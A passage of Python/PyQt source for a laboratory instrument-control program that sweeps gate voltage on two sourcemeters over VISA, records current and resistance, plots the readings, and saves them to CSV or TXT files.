self.ui.lineEditK2_dsave_custname.setEnabled(True)\r\n self.ui.groupBoxK2_dsave_filetype.setEnabled(True)\r\n self.ui.radioButtonK2_csv.setEnabled(True)\r\n self.ui.radioButtonK2_txt.setEnabled(True)\r\n self.ui.labelK2_dsave_username.setEnabled(True)\r\n self.ui.lineEditK2_dsave_username.setEnabled(True)\r\n self.ui.labelK2_dsave_comment.setEnabled(True)\r\n self.ui.textEditK2_dsave_comment.setEnabled(True)\r\n self.ui.lineEditk2_condition.setText(\"Dynamic saving opened.\")\r\n else:\r\n self.ui.labelK2_dsave_directory.setEnabled(False)\r\n self.ui.lineEditK2_dsave_directory.setEnabled(False)\r\n self.ui.pushButtonK2_dsave_browse.setEnabled(False)\r\n self.ui.groupBoxK2_dsave_filename.setEnabled(False)\r\n self.ui.radioButtonK2_dsave_timename.setEnabled(False)\r\n self.ui.radioButtonK2_dsave_custname.setEnabled(False)\r\n self.ui.lineEditK2_dsave_custname.setEnabled(False)\r\n self.ui.groupBoxK2_dsave_filetype.setEnabled(False)\r\n self.ui.radioButtonK2_csv.setEnabled(False)\r\n self.ui.radioButtonK2_txt.setEnabled(False)\r\n self.ui.labelK2_dsave_username.setEnabled(False)\r\n self.ui.lineEditK2_dsave_username.setEnabled(False)\r\n self.ui.labelK2_dsave_comment.setEnabled(False)\r\n self.ui.textEditK2_dsave_comment.setEnabled(False)\r\n self.ui.lineEditk2_condition.setText(\"Dynamic saving closed.\")\r\n \r\n def Dsave_browse(self):\r\n self.dsave_directory = ''\r\n prev_dir = os.getcwd()\r\n fileDir = QFileDialog.getExistingDirectory(None, 'Select Folder to Save', prev_dir)\r\n if fileDir != '':\r\n open_dir = ''\r\n file_list = str(fileDir).split('/')\r\n for i in range(0, len(file_list) - 1):\r\n if i < len(file_list) - 1:\r\n open_dir += file_list[i] + '\\\\'\r\n elif i == len(file_list) - 1:\r\n open_dir += file_list[i]\r\n fileDir.replace('/', '\\\\')\r\n self.dsave_directory = fileDir\r\n self.ui.lineEditK2_dsave_directory.setText(fileDir)\r\n self.ui.lineEditk2_condition.setText(\"Dynamic saving directory selected.\")\r\n else:\r\n self.ui.lineEditK2_dsave_directory.setText('None')\r\n self.ui.lineEditk2_condition.setText('Choose a directory for dynamic saving.')\r\n \r\n def Dsave_directory(self):\r\n self.dsave_dir_ok = True\r\n if self.ui.lineEditK2_dsave_directory.text() == '' or self.ui.lineEditK2_dsave_directory.text() == 'None':\r\n self.dsave_dir_ok = False\r\n \r\n def Dsave_filename(self):\r\n self.dsave_filename_ok = True\r\n self.dsave_filename = ''\r\n if self.ui.radioButtonK2_dsave_timename.isChecked():\r\n now = datetime.datetime.now()\r\n date = '%s-%s-%s' % (now.year, now.month, now.day)\r\n current_time = '%s.%s.%s' % (now.hour, now.minute, now.second)\r\n date_and_time = 'DSave' + ' ' + date + ' ' + current_time\r\n self.dsave_filename = str(date_and_time)\r\n elif self.ui.radioButtonK2_dsave_custname.isChecked():\r\n self.dsave_filename = str(self.ui.lineEditK2_dsave_custname.text())\r\n if self.dsave_filename == '':\r\n self.dsave_filename_ok = False\r\n \r\n def Dsave_filetype(self):\r\n if self.ui.radioButtonK2_csv.isChecked():\r\n self.dsave_filetype = '.csv'\r\n self.dsave_divide = ','\r\n elif self.ui.radioButtonK2_txt.isChecked():\r\n self.dsave_filetype = '.txt'\r\n self.dsave_divide = '\\t'\r\n \r\n def Dsave_username(self):\r\n self.dsave_username_ok = True\r\n self.dsave_username = ''\r\n self.dsave_username = str(self.ui.lineEditK2_dsave_username.text())\r\n if self.dsave_username == '':\r\n self.dsave_username_ok = False\r\n \r\n def Pre_save(self, date_value, t_value, stepData, Array, gateVolt_data, gateCurr_data, lead_voltage, curr_data, resistance_data):\r\n self.date_value = date_value\r\n self.t_value = t_value\r\n self.stepData = stepData\r\n self.Array = Array\r\n self.gateVolt_data = gateVolt_data\r\n self.curr_data = curr_data\r\n self.gateCurr_data = gateCurr_data\r\n self.lead_voltage = lead_voltage\r\n self.resistance_data = resistance_data\r\n \r\n def G_save(self):\r\n if self.uiSavingGDradioButton[3].isChecked() and self.uiSavingGDlineEdit[1].text() == '':\r\n self.uiSavingGDlabel[0].setText('Enter a valid file name.')\r\n else:\r\n self.Select_type_G()\r\n self.Select_name_G()\r\n \r\n # It contains the measurement information, including user name, date, measurement type, time step etc.\r\n # This is a two dimensional list. Each sub list related to a single line.\r\n comments = []\r\n # For QMDlab data file it is \"Collected Data\"\r\n divider = 'Collected Data'\r\n # Parameters' names, such as VOLTAGE, CURRENT, TIME\r\n parameters = []\r\n # Parameters' units\r\n units = []\r\n # Include all the data\r\n data = []\r\n # Contains file type, divider, name and directory\r\n file_info = []\r\n \r\n # First line user name\r\n temp = []\r\n temp.append('User Name:')\r\n temp.append(str(self.uiSavingGDcomboBox[0].currentText()))\r\n comments.append(temp)\r\n # Second line edit time\r\n temp = []\r\n temp.append('Edit Time:')\r\n temp.append(str(datetime.datetime.now()))\r\n comments.append(temp)\r\n # Third line array source\r\n temp = []\r\n temp.append('Array Source:')\r\n temp.append(str(self.ui.lineEditK2_directoryGate.text()))\r\n comments.append(temp)\r\n # Fourth line visa address\r\n temp = []\r\n temp.append('Gate Visa Address:')\r\n temp.append(str(self.ui.comboBoxK2_gateVisa.currentText()))\r\n comments.append(temp)\r\n temp = []\r\n temp.append('Gate Visa Name:')\r\n name = str(self.ui.lineEditK2_gateVisa.text())\r\n name = name.rstrip()\r\n temp.append(name)\r\n comments.append(temp)\r\n # Fifth line visa address\r\n temp = []\r\n temp.append('Lead Visa Address:')\r\n temp.append(str(self.ui.comboBoxK2_leadVisa.currentText()))\r\n comments.append(temp)\r\n temp = []\r\n temp.append('Lead Visa Name:')\r\n name = str(self.ui.lineEditK2_leadVisa.text())\r\n name = name.rstrip()\r\n temp.append(name)\r\n comments.append(temp)\r\n # Sixth line scan source\r\n temp = []\r\n temp.append('Y-Values Units:')\r\n if self.ui.radioButtonK2_Volts.isChecked():\r\n temp.append('Volts')\r\n elif self.ui.radioButtonK2_mVolts.isChecked():\r\n temp.append('mVolts')\r\n elif self.ui.radioButtonK2_uVolts.isChecked():\r\n temp.append('uVolts')\r\n elif self.ui.radioButtonK2_nVolts.isChecked():\r\n temp.append('nVolts')\r\n comments.append(temp)\r\n # Seventh line time step\r\n temp = []\r\n temp.append('Lead Output:')\r\n if self.ui.radioButtonK2_Lead4.isChecked():\r\n temp.append('4-Terminal')\r\n elif self.ui.radioButtonK2_Lead2.isChecked():\r\n temp.append('2-Terminal')\r\n comments.append(temp)\r\n # Eighth line output voltage\r\n temp = []\r\n temp.append('Output Voltage:')\r\n temp.append(self.ui.lineEditK2_LeadOutput.text())\r\n temp.append(self.ui.comboBoxK2_LeadOutput.currentText())\r\n comments.append(temp)\r\n temp = []\r\n temp.append('Time Step(sec):')\r\n temp.append(str(self.ui.lineEditK2_tstep.text()))\r\n comments.append(temp)\r\n # Nineth line comments\r\n temp = []\r\n temp.append('Comments:')\r\n temp.append(str(self.ui.textEditK2_comment_G.toPlainText()))\r\n comments.append(temp)\r\n \r\n # Do parameters, units and data together\r\n parameters.append('Date')\r\n units.append('String')\r\n data.append(self.date_value)\r\n parameters.append('Time')\r\n units.append('s')\r\n data.append(self.t_value)\r\n parameters.append('Step')\r\n units.append('1')\r\n data.append(self.stepData)\r\n parameters.append('Step Value')\r\n units.append('1')\r\n data.append(self.Array)\r\n parameters.append('Gate Voltage')\r\n units.append('Volts')\r\n data.append(self.gateVolt_data)\r\n parameters.append('Gate Current')\r\n units.append('Amps')\r\n data.append(self.gateCurr_data)\r\n parameters.append('Lead Voltage')\r\n units.append('Volts')\r\n data.append(self.lead_voltage)\r\n parameters.append('Lead Current')\r\n units.append('Amps')\r\n data.append(self.curr_data)\r\n parameters.append('Lead Resistance')\r\n units.append('Ohms')\r\n data.append(self.resistance_data)\r\n \r\n # File_info\r\n # First is file name\r\n file_info.append(self.G_file_name)\r\n # csv or txt file\r\n file_info.append(self.G_type)\r\n # the divide of csv is \",\" while for txt its \"\\t\"\r\n file_info.append(self.G_divide)\r\n # Always \"Collected Data\"\r\n file_info.append(divider)\r\n # The saving directory\r\n file_info.append(self.G_directory)\r\n \r\n self.save_thread.input(comments, parameters, units, data, file_info)\r\n self.ui.pushButtonK2_Open_G.setEnabled(True)\r\n self.ui.labelK2_condition_G.setText('File has been saved.')\r\n \r\n def O_save(self):\r\n if self.ui.comboBoxK2_Name_Folder_O.currentText() == 'None':\r\n self.ui.labelK2_condition_O.setText('Pleanse choose a user name.')\r\n elif self.ui.radioButtonK2_Custom_Name_O.isChecked() and self.ui.lineEdit_Custom_Name_O.text() == '':\r\n self.ui.labelK2_condition_O.setText('Please enter a file name.')\r\n else:\r\n self.Select_type_O()\r\n self.Select_name_O()\r\n \r\n # It contains the measurement information, including user name, date, measurement type, time step etc.\r\n # This is a two dimensional list. Each sub list related to a single line.\r\n comments = []\r\n # For QMDlab data file it is \"Collected Data\"\r\n divider = 'Collected Data'\r\n # Parameters' names, such as VOLTAGE, CURRENT, TIME\r\n parameters = []\r\n # Parameters' units\r\n units = []\r\n # Include all the data\r\n data = []\r\n # Contains file type, divider, name and directory\r\n file_info = []\r\n \r\n # First line user name\r\n temp = []\r\n temp.append('User Name:')\r\n temp.append(str(self.ui.comboBoxK2_Name_Folder_O.currentText()))\r\n comments.append(temp)\r\n # Second line edit time\r\n temp = []\r\n temp.append('Edit Time:')\r\n temp.append(str(datetime.datetime.now()))\r\n comments.append(temp)\r\n # Third line array source\r\n temp = []\r\n temp.append('Array Source:')\r\n temp.append(str(self.ui.lineEditK2_directoryGate.text()))\r\n comments.append(temp)\r\n # Fourth line visa address\r\n temp = []\r\n temp.append('Gate Visa Address:')\r\n temp.append(str(self.ui.comboBoxK2_gateVisa.currentText()))\r\n comments.append(temp)\r\n temp = []\r\n temp.append('Gate Visa Name:')\r\n name = str(self.ui.lineEditK2_gateVisa.text())\r\n name = name.rstrip()\r\n temp.append(name)\r\n comments.append(temp)\r\n # Fifth line visa address\r\n temp = []\r\n temp.append('Lead Visa Address:')\r\n temp.append(str(self.ui.comboBoxK2_leadVisa.currentText()))\r\n comments.append(temp)\r\n temp = []\r\n temp.append('Lead Visa Name:')\r\n name = str(self.ui.lineEditK2_leadVisa.text())\r\n name = name.rstrip()\r\n temp.append(name)\r\n comments.append(temp)\r\n # Sixth line scan source\r\n temp = []\r\n temp.append('Y-Values Units:')\r\n if self.ui.radioButtonK2_Volts.isChecked():\r\n temp.append('Volts')\r\n elif self.ui.radioButtonK2_mVolts.isChecked():\r\n temp.append('mVolts')\r\n elif self.ui.radioButtonK2_uVolts.isChecked():\r\n temp.append('uVolts')\r\n elif self.ui.radioButtonK2_nVolts.isChecked():\r\n temp.append('nVolts')\r\n comments.append(temp)\r\n # Seventh line time step\r\n temp = []\r\n temp.append('Lead Output:')\r\n if self.ui.radioButtonK2_Lead4.isChecked():\r\n temp.append('4-Terminal')\r\n elif self.ui.radioButtonK2_Lead2.isChecked():\r\n temp.append('2-Terminal')\r\n comments.append(temp)\r\n # Eighth line output voltage\r\n temp = []\r\n temp.append('Output Voltage:')\r\n temp.append(self.ui.lineEditK2_LeadOutput.text())\r\n temp.append(self.ui.comboBoxK2_LeadOutput.currentText())\r\n comments.append(temp)\r\n temp = []\r\n temp.append('Time Step(sec):')\r\n temp.append(str(self.ui.lineEditK2_tstep.text()))\r\n comments.append(temp)\r\n # Nineth line comments\r\n temp = []\r\n temp.append('Comments:')\r\n temp.append(str(self.ui.textEditK2_comment_O.toPlainText()))\r\n comments.append(temp)\r\n \r\n # Do parameters, units and data together\r\n parameters.append('Date')\r\n units.append('String')\r\n data.append(self.date_value)\r\n parameters.append('Time')\r\n units.append('s')\r\n data.append(self.t_value)\r\n parameters.append('Step')\r\n units.append('1')\r\n data.append(self.stepData)\r\n parameters.append('Step Value')\r\n units.append('1')\r\n data.append(self.Array)\r\n parameters.append('Gate Voltage')\r\n units.append('Volts')\r\n data.append(self.gateVolt_data)\r\n parameters.append('Gate Current')\r\n units.append('Amps')\r\n data.append(self.gateCurr_data)\r\n parameters.append('Lead Voltage')\r\n units.append('Volts')\r\n data.append(self.lead_voltage)\r\n parameters.append('Lead Current')\r\n units.append('Amps')\r\n data.append(self.curr_data)\r\n parameters.append('Lead Resistance')\r\n units.append('Ohms')\r\n data.append(self.resistance_data)\r\n \r\n # File_info\r\n # First is file name\r\n file_info.append(self.O_file_name)\r\n # csv or txt file\r\n file_info.append(self.O_type)\r\n # the divide of csv is \",\" while for txt its \"\\t\"\r\n file_info.append(self.O_divide)\r\n # Always \"Collected Data\"\r\n file_info.append(divider)\r\n # The saving directory\r\n file_info.append(self.O_directory)\r\n \r\n self.save_thread.input(comments, parameters, units, data, file_info)\r\n self.ui.pushButtonK2_Open_O.setEnabled(True)\r\n self.ui.labelK2_condition_O.setText('File has been saved.')\r\n \r\n def G_open(self):\r\n opendir = self.G_directory\r\n open_path = 'explorer \"' + opendir + '\"'\r\n subprocess.Popen(open_path)\r\n \r\n def O_open(self):\r\n opendir = self.O_directory\r\n open_path = 'explorer \"' + opendir + '\"'\r\n subprocess.Popen(open_path)\r\n \r\nclass Collect_data(QThread):\r\n def __init__(self, parent = None):\r\n QThread.__init__(self, parent)\r\n self.exiting = False\r\n\r\n def input(self, instruments, ui, Array, go_on, curves, curveWidgets, dsave_directory, dsave_filename, dsave_username, dsave_thread, dsave_filetype, dsave_divide):\r\n self.gate = instruments[0]\r\n self.lead = instruments[1]\r\n self.ui = ui\r\n self.Array = np.array(Array)\r\n self.go_on = go_on\r\n self.curves = curves\r\n self.curveWidgets = curveWidgets\r\n self.dsave_directory = dsave_directory\r\n self.dsave_filename = dsave_filename\r\n self.dsave_username = dsave_username\r\n self.dsave_thread = dsave_thread\r\n self.dsave_filetype = dsave_filetype\r\n self.dsave_divide = dsave_divide\r\n \r\n lead_index = int(self.ui.comboBoxK2_LeadOutput.currentIndex())\r\n if lead_index == 0:\r\n self.lead_voltage_scale = [1, 'Volts']\r\n elif lead_index == 1:\r\n self.lead_voltage_scale = [1E-3, 'mVolts']\r\n elif lead_index == 2:\r\n self.lead_voltage_scale = [1E-6, 'uVolts']\r\n elif lead_index == 3:\r\n self.lead_voltage_scale = [1E-9, 'nVolts']\r\n self.lead_voltage = float(self.ui.lineEditK2_LeadOutput.text())*self.lead_voltage_scale[0]\r\n \r\n \r\n #self.time_step = float(self.ui.lineEdit_tstep.text())\r\n if self.ui.radioButtonK2_Volts.isChecked():\r\n self.gate_voltage_scale = [1, 'Volts']\r\n elif self.ui.radioButtonK2_mVolts.isChecked():\r\n self.gate_voltage_scale = [1E-3, 'mVolts']\r\n elif self.ui.radioButtonK2_uVolts.isChecked():\r\n self.gate_voltage_scale = [1E-6, 'uVolts']\r\n elif self.ui.radioButtonK2_nVolts.isChecked():\r\n self.gate_voltage_scale = [1E-9, 'nVolts']\r\n self.current_scale = [1, 'Amps']\r\n self.Array = self.Array*self.gate_voltage_scale[0]\r\n \r\n self.stop_collecting = False\r\n self.pause_collecting = False\r\n self.time_step = float(self.ui.lineEditK2_tstep.text())\r\n self.start()\r\n \r\n def stop(self):\r\n self.stop_collecting = True\r\n self.ui.lineEditk2_condition.setText('Stopped.')\r\n self.ui.pushButtonK2_Start.setEnabled(True)\r\n self.ui.pushButtonK2_Pause.setEnabled(False)\r\n self.ui.pushButtonK2_Stop.setEnabled(False)\r\n \r\n def pause(self):\r\n if self.pause_collecting:\r\n self.ui.lineEditk2_condition.setText('Running...')\r\n self.ui.pushButtonK2_Pause.setText(\"Pause\")\r\n self.pause_collecting = False\r\n else:\r\n self.ui.lineEditk2_condition.setText('Paused. Click continue to run.')\r\n self.ui.pushButtonK2_Pause.setText(\"Continue\")\r\n self.pause_collecting = True\r\n \r\n def run(self):\r\n self.gateVolt_data = []\r\n self.gateCurr_data = []\r\n self.leadVolt_data = []\r\n self.curr_data = []\r\n self.resistance_data = []\r\n self.stepData = []\r\n t_value = []\r\n date_value = []\r\n \r\n self.turn_on_gate_voltage()\r\n self.turn_on_lead_voltage()\r\n \r\n start_time = time.time()\r\n t1_ = 0\r\n \r\n \r\n for i in range(0, len(self.Array)):\r\n status = True\r\n \r\n while status:\r\n if float(time.time() - t1_) > self.time_step:\r\n t1_ = time.time()\r\n while self.pause_collecting:\r\n if self.stop_collecting:\r\n self.Pre_dynamic_save(i, True)\r\n break\r\n else:\r\n pass\r\n \r\n if not self.stop_collecting:\r\n self.stepData.append(i)\r\n self.set_gate_voltage(self.Array[i])\r\n self.gate_data = self.read_gate_voltage()\r\n self.gateVolt_data.append(float(self.gate_data[0]))\r\n self.gateCurr_data.append(float(self.gate_data[1]))\r\n self.resis_data = self.resistance_measurement_single(self.lead_voltage)\r\n self.leadVolt_data.append(self.lead_voltage)\r\n self.curr_data.append(float(self.resis_data[1]))\r\n self.resistance = self.resis_data[0]/self.resis_data[1]\r\n self.resistance_data.append(self.resistance)\r\n \r\n end_time = time.time()\r\n self.during = end_time - start_time\r\n t_value.append(self.during)\r\n self.setup_plot(self.curveWidgets[0], self.curves[0], [self.stepData, self.gateVolt_data], [\"Gate Voltage\", \"Steps\", \"Gate Voltage (V)\"])\r\n self.setup_plot(self.curveWidgets[1], self.curves[1], [self.stepData, self.curr_data], [\"Lead Current\", \"Steps\", \"Lead Current (A)\"])\r\n self.setup_plot(self.curveWidgets[2], self.curves[2], [self.stepData, self.gateCurr_data], [\"Gate Current\", \"Steps\", \"Gate Current (A)\"])\r\n self.setup_plot(self.curveWidgets[3], self.curves[3], [self.stepData, self.resistance_data], [\"Lead Resistance\", \"Steps\", \"Lead Resistance (Ohms)\"])\r\n self.setup_plot(self.curveWidgets[4], self.curves[4], [self.gateVolt_data, self.curr_data], [\"Lead Current vs Gate Voltage\", \"Gate Voltage (V)\", \"Lead Current (A)\"])\r\n self.setup_plot(self.curveWidgets[5], self.curves[5], [self.gateVolt_data, self.resistance_data], [\"Lead Resistance vs Gate Voltage\", \"Gate Voltage (V)\", \"Lead Resistance (Ohms)\"])\r\n \r\n now = datetime.datetime.now()\r\n date = '%s-%s-%s' % (now.year, now.month, now.day)\r\n current_time = '%s:%s:%s' % (now.hour, now.minute, now.second)\r\n self.date_and_time = date + ' ' + current_time\r\n date_value.append(self.date_and_time)\r\n self.Pre_dynamic_save(i, False)\r\n else:\r\n self.Pre_dynamic_save(i, True)\r\n break\r\n \r\n status = False\r\n \r\n self.Pre_dynamic_save(len(self.Array), True)\r\n self.turn_off_gate_voltage()\r\n self.turn_off_lead_voltage()\r\n self.ui.pushButtonK2_Start.setEnabled(True)\r\n self.ui.pushButtonK2_Pause.setEnabled(False)\r\n self.ui.pushButtonK2_Stop.setEnabled(False)\r\n self.ui.tabWidgetK2_save_keithley.setEnabled(True)\r\n self.ui.lineEditk2_condition.setText('Scan completed.')\r\n self.emit(SIGNAL(\"data_available\"), date_value, t_value, self.stepData, self.Array, self.gateVolt_data, self.gateCurr_data, self.leadVolt_data, self.curr_data, self.resistance_data)\r\n self.MPL_Plot()\r\n \r\n def Pre_dynamic_save(self, num, is_last):\r\n if self.ui.checkBoxK2_dsave.isChecked():\r\n is_first = False\r\n comments = []\r\n parameters = []\r\n units = []\r\n data = []\r\n file_info = []\r\n \r\n # File_info\r\n # First is file name\r\n file_info.append(self.dsave_filename)\r\n # csv file\r\n file_info.append(self.dsave_filetype)\r\n # the divide of csv is \",\"\r\n file_info.append(self.dsave_divide)\r\n # Always \"Collected Data\"\r\n file_info.append('Collected Data')\r\n # The saving directory\r\n file_info.append(self.dsave_directory)\r\n \r\n if is_last:\r\n self.dsave_thread.input(comments, parameters, units, data, file_info, is_first, is_last)\r\n else:\r\n data.append(self.date_and_time)\r\n data.append(self.during)\r\n data.append(num)\r\n data.append(self.Array[num])\r\n data.append(self.gate_data[0].strip('\\n'))\r\n data.append(self.gate_data[1].strip('\\n'))\r\n data.append(self.resis_data[0])\r\n data.append(self.resis_data[1])\r\n data.append(self.resistance)\r\n \r\n if num == 0:\r\n is_first = True\r\n \r\n temp = []\r\n temp.append('User Name:')\r\n temp.append(self.dsave_username)\r\n comments.append(temp)\r\n #####################\r\n temp = []\r\n temp.append('Edit Time:')\r\n temp.append(str(datetime.datetime.now()))\r\n comments.append(temp)\r\n #####################\r\n temp = []\r\n temp.append('Array Source:')\r\n temp.append(str(self.ui.lineEditK2_directoryGate.text()))\r\n comments.append(temp)\r\n #####################\r\n temp = []\r\n temp.append('Gate Visa Address:')\r\n temp.append(str(self.ui.comboBoxK2_gateVisa.currentText()))\r\n comments.append(temp)\r\n temp = []\r\n temp.append('Gate Visa Name:')\r\n name = str(self.ui.lineEditK2_gateVisa.text())\r\n name = name.rstrip()\r\n temp.append(name)\r\n comments.append(temp)\r\n #####################\r\n temp = []\r\n temp.append('Lead Visa Address:')\r\n temp.append(str(self.ui.comboBoxK2_leadVisa.currentText()))\r\n comments.append(temp)\r\n temp = []\r\n temp.append('Lead Visa Name:')\r\n name = str(self.ui.lineEditK2_leadVisa.text())\r\n name = name.rstrip()\r\n temp.append(name)\r\n comments.append(temp)\r\n #####################\r\n temp = []\r\n temp.append('Y-Values Units:')\r\n if self.ui.radioButtonK2_Volts.isChecked():\r\n temp.append('Volts')\r\n elif self.ui.radioButtonK2_mVolts.isChecked():\r\n temp.append('mVolts')\r\n elif self.ui.radioButtonK2_uVolts.isChecked():\r\n temp.append('uVolts')\r\n elif self.ui.radioButtonK2_nVolts.isChecked():\r\n temp.append('nVolts')\r\n comments.append(temp)\r\n #####################\r\n temp = []\r\n temp.append('Lead Output:')\r\n if self.ui.radioButtonK2_Lead4.isChecked():\r\n temp.append('4-Terminal')\r\n elif self.ui.radioButtonK2_Lead2.isChecked():\r\n temp.append('2-Terminal')\r\n comments.append(temp)\r\n #####################\r\n temp = []\r\n temp.append('Output Voltage:')\r\n temp.append(self.ui.lineEditK2_LeadOutput.text())\r\n temp.append(self.ui.comboBoxK2_LeadOutput.currentText())\r\n comments.append(temp)\r\n temp = []\r\n temp.append('Time Step(sec):')\r\n temp.append(str(self.ui.lineEditK2_tstep.text()))\r\n comments.append(temp)\r\n #####################\r\n temp = []\r\n temp.append('Comments:')\r\n temp.append(str(self.ui.textEditK2_dsave_comment.toPlainText()))\r\n comments.append(temp)\r\n #####################\r\n parameters.append('Date')\r\n units.append('String')\r\n parameters.append('Time')\r\n units.append('s')\r\n parameters.append('Step')\r\n units.append('1')\r\n parameters.append('Step Value')\r\n units.append('1')\r\n parameters.append('Gate Voltage')\r\n units.append('Volts')\r\n parameters.append('Gate Current')\r\n units.append('Amps')\r\n parameters.append('Lead Voltage')\r\n units.append('Volts')\r\n parameters.append('Lead Current')\r\n units.append('Amps')\r\n parameters.append('Lead Resistance')\r\n units.append('Ohms')\r\n self.dsave_thread.input(comments, parameters, units, data, file_info, is_first, is_last)\r\n else:\r\n self.dsave_thread.input(comments, parameters, units, data, file_info, is_first, is_last)\r\n \r\n def MPL_Plot(self):\r\n self.Reset_plot_gate_voltage()\r\n self.axes_AgateVoltage.grid()\r\n self.axes_AgateVoltage.set_title(\"Gate Voltage\")\r\n self.axes_AgateVoltage.set_ylabel(\"Gate Voltage (V)\")\r\n self.axes_AgateVoltage.set_xlabel(\"Steps\")\r\n self.axes_AgateVoltage.plot(self.stepData, self.gateVolt_data, marker = 'o', linestyle = '-')\r\n \r\n self.Reset_plot_lead_current()\r\n self.axes_AleadCurrent.grid()\r\n self.axes_AleadCurrent.set_title(\"Lead Current\")\r\n self.axes_AleadCurrent.set_ylabel(\"Lead Current (A)\")\r\n self.axes_AleadCurrent.set_xlabel(\"Steps\")\r\n self.axes_AleadCurrent.plot(self.stepData, self.curr_data, marker = 'o', linestyle = '-')\r\n \r\n self.Reset_plot_gate_current()\r\n self.axes_AgateCurrent.grid()\r\n self.axes_AgateCurrent.set_title(\"Gate Current\")\r\n self.axes_AgateCurrent.set_ylabel(\"Gate Current (A)\")\r\n self.axes_AgateCurrent.set_xlabel(\"Steps\")\r\n self.axes_AgateCurrent.plot(self.stepData, self.gateCurr_data, marker = 'o', linestyle = '-')\r\n \r\n self.Reset_plot_lead_resistance()\r\n self.axes_ALeadResistance.grid()\r\n self.axes_ALeadResistance.set_title(\"Lead Resistance\")\r\n self.axes_ALeadResistance.set_ylabel(\"Lead Resistance (Ohms)\")\r\n self.axes_ALeadResistance.set_xlabel(\"Steps\")\r\n self.axes_ALeadResistance.plot(self.stepData, self.resistance_data, marker = 'o', linestyle = '-')\r\n \r\n self.Reset_plot_leadcurrent_gatevoltage()\r\n self.axes_ALeadCurrentGateVoltage.grid()\r\n self.axes_ALeadCurrentGateVoltage.set_title(\"Lead Current vs Gate Voltage\")\r\n self.axes_ALeadCurrentGateVoltage.set_ylabel(\"Lead Current (A)\")\r\n self.axes_ALeadCurrentGateVoltage.set_xlabel(\"Gate Voltage (V)\")\r\n self.axes_ALeadCurrentGateVoltage.plot(self.gateVolt_data, self.curr_data, marker = 'o', linestyle = '-')\r\n \r\n self.Reset_plot_leadresistance_gatevoltage()\r\n self.axes_ALeadResistanceGateVoltage.grid()\r\n self.axes_ALeadResistanceGateVoltage.set_title(\"Lead Resistance vs Gate Voltage\")\r\n self.axes_ALeadResistanceGateVoltage.set_ylabel(\"Lead Resistance (Ohms)\")\r\n self.axes_ALeadResistanceGateVoltage.set_xlabel(\"Gate Voltage (V)\")\r\n self.axes_ALeadResistanceGateVoltage.plot(self.gateVolt_data, self.resistance_data, marker = 'o', linestyle = '-')\r\n \r\n self.emit(SIGNAL(\"mpl_plot\"))\r\n \r\n def Reset_plot_gate_voltage(self):\r\n self.ui.mplwidgetK2_AgateVoltage.figure.clear()\r\n self.axes_AgateVoltage = self.ui.mplwidgetK2_AgateVoltage.figure.add_subplot(111)\r\n \r\n def Reset_plot_lead_current(self):\r\n self.ui.mplwidgetK2_AleadCurrent.figure.clear()\r\n self.axes_AleadCurrent = self.ui.mplwidgetK2_AleadCurrent.figure.add_subplot(111)\r\n\r\n def Reset_plot_gate_current(self):\r\n self.ui.mplwidgetK2_AgateCurrent.figure.clear()\r\n self.axes_AgateCurrent = self.ui.mplwidgetK2_AgateCurrent.figure.add_subplot(111)\r\n \r\n def Reset_plot_lead_resistance(self):\r\n self.ui.mplwidgetK2_ALeadResistance.figure.clear()\r\n self.axes_ALeadResistance = self.ui.mplwidgetK2_ALeadResistance.figure.add_subplot(111)\r\n \r\n def Reset_plot_leadcurrent_gatevoltage(self):\r\n self.ui.mplwidgetK2_ALeadCurrentGateVoltage.figure.clear()\r\n self.axes_ALeadCurrentGateVoltage = self.ui.mplwidgetK2_ALeadCurrentGateVoltage.figure.add_subplot(111)\r\n \r\n def Reset_plot_leadresistance_gatevoltage(self):\r\n self.ui.mplwidgetK2_ALeadResistanceGateVoltage.figure.clear()\r\n self.axes_ALeadResistanceGateVoltage = self.ui.mplwidgetK2_ALeadResistanceGateVoltage.figure.add_subplot(111)\r\n \r\n def setup_plot(self, curveWidget, curve, data, titles):\r\n curveWidget.plot.set_titles(titles[0], titles[1], titles[2])\r\n curve.set_data(data[0], data[1])\r\n self.emit(SIGNAL(\"curve_plot\"), [curveWidget, curve])\r\n \r\n\r\n def set_gate_voltage(self, gate_voltage):\r\n self.gate.write('TRACE:CLEar \"defbuffer1\"')\r\n self.gate.write(\"ROUT:TERM FRONT\")\r\n self.gate.write('SENS:FUNC \"CURR\"')\r\n #self.gate.write('SOUR:VOLT:RANG AUTO')\r\n self.gate.write(\"SOUR:FUNC VOLT\")\r\n self.gate.write(\"SOUR:VOLT:READ:BACK 1\")\r\n self.gate.write(\"SOUR:VOLT \" + str(gate_voltage))\r\n \r\n def turn_on_gate_voltage(self):\r\n self.gate.write('SENS:CURR:RSEN OFF' ) #ON = 4 Contact OFF = 2 Contact\r\n self.gate.write(\"OUTP ON\")\r\n \r\n def read_gate_voltage(self):\r\n voltage2 = self.gate.query('READ? \"defbuffer1\", SOUR')\r\n current2 = self.gate.query('READ? \"defbuffer1\", READ')\r\n #print \"Gate Voltage: \" + str(voltage2)\r\n #print \"Gate Current: \" + str(current2)\r\n return [voltage2, current2]\r\n \r\n def turn_off_gate_voltage(self):\r\n self.gate.write(\"OUTP OFF\")\r\n \r\n ##MEASURE RESISTANCE ON INSTRUMENT 1#####\r\n ## 4-Terminal Across the Silicon### \r\n def resistance_measurement_single(self, lead_voltage):\r\n self.lead.write('TRACE:CLEar \"defbuffer1\"')\r\n self.lead.write(\"ROUT:TERM FRONT\")\r\n self.lead.write('SENS:FUNC \"CURR\"')\r\n self.lead.write(\"SOUR:FUNC VOLT\")\r\n self.lead.write(\"SOUR:VOLT:READ:BACK 1\")\r\n self.lead.write(\"SOUR:VOLT \" + str(lead_voltage))\r\n voltage1 = self.lead.query('READ? \"defbuffer1\", SOUR')\r\n current1 = self.lead.query('READ? \"defbuffer1\", READ')\r\n #print \"lead Voltage: \" + str(voltage1)\r\n #print \"lead Current: \" + str(current1)\r\n return [float(voltage1), float(current1)]\r\n \r\n def turn_on_lead_voltage(self):\r\n if self.ui.radioButtonK2_Lead4.isChecked():\r\n self.lead.write('SENS:CURR:RSEN ON' ) #ON = 4 Contact OFF = 2 Contact\r\n elif self.ui.radioButtonK2_Lead2.isChecked():\r\n self.lead.write('SENS:CURR:RSEN OFF' ) \r\n self.lead.write(\"OUTP ON\")\r\n \r\n def turn_off_lead_voltage(self):\r\n self.lead.write(\"OUTP OFF\")\r\n \r\n def __del__(self):\r\n self.exiting = True\r\n self.wait()\r\n 